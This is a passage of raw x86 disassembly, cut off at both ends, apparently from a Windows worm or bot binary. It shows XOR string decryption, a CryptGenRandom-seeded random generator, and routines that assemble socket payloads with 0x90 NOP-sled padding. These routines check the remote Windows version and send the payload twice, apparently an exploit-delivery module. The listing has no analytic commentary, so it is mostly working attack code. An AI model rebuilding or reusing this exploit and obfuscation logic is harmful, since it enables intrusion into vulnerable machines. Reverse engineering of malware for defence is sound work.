		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: sub_4167F1+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EBBC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBC0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBC4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EBC8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EBBC,	eax
		add	eax, ebx
		lock xadd dword_41EBC0,	eax
		add	eax, ecx
		lock xadd dword_41EBC4,	eax
		add	eax, edx
		lock xadd dword_41EBC8,	eax
		add	eax, esi
		lock xadd dword_41EBBC,	eax
		add	eax, edi
		lock xadd dword_41EBC0,	eax
		add	eax, ebp
		lock xadd dword_41EBC4,	eax
		add	eax, esp
		lock xadd dword_41EBC8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EBBC,	eax
		lock xadd dword_41EBC0,	eax
		lock xadd dword_41EBC4,	eax
		lock xadd dword_41EBC8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EBC4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EBC0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EBBC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EBC8,	edx
		lock xadd dword_41EBC4,	ecx
		lock xadd dword_41EBC0,	ebx
		lock xadd dword_41EBBC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBC8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBC8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBC4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBC0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBBC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: sub_4167F1+F0p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EBD0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EBD0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBD0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBD0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: brattyty:off_41CDB6o

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: brattyty:0041CDF0o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax


loc_410DB7:				; DATA XREF: brattyty:off_419A7Co
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
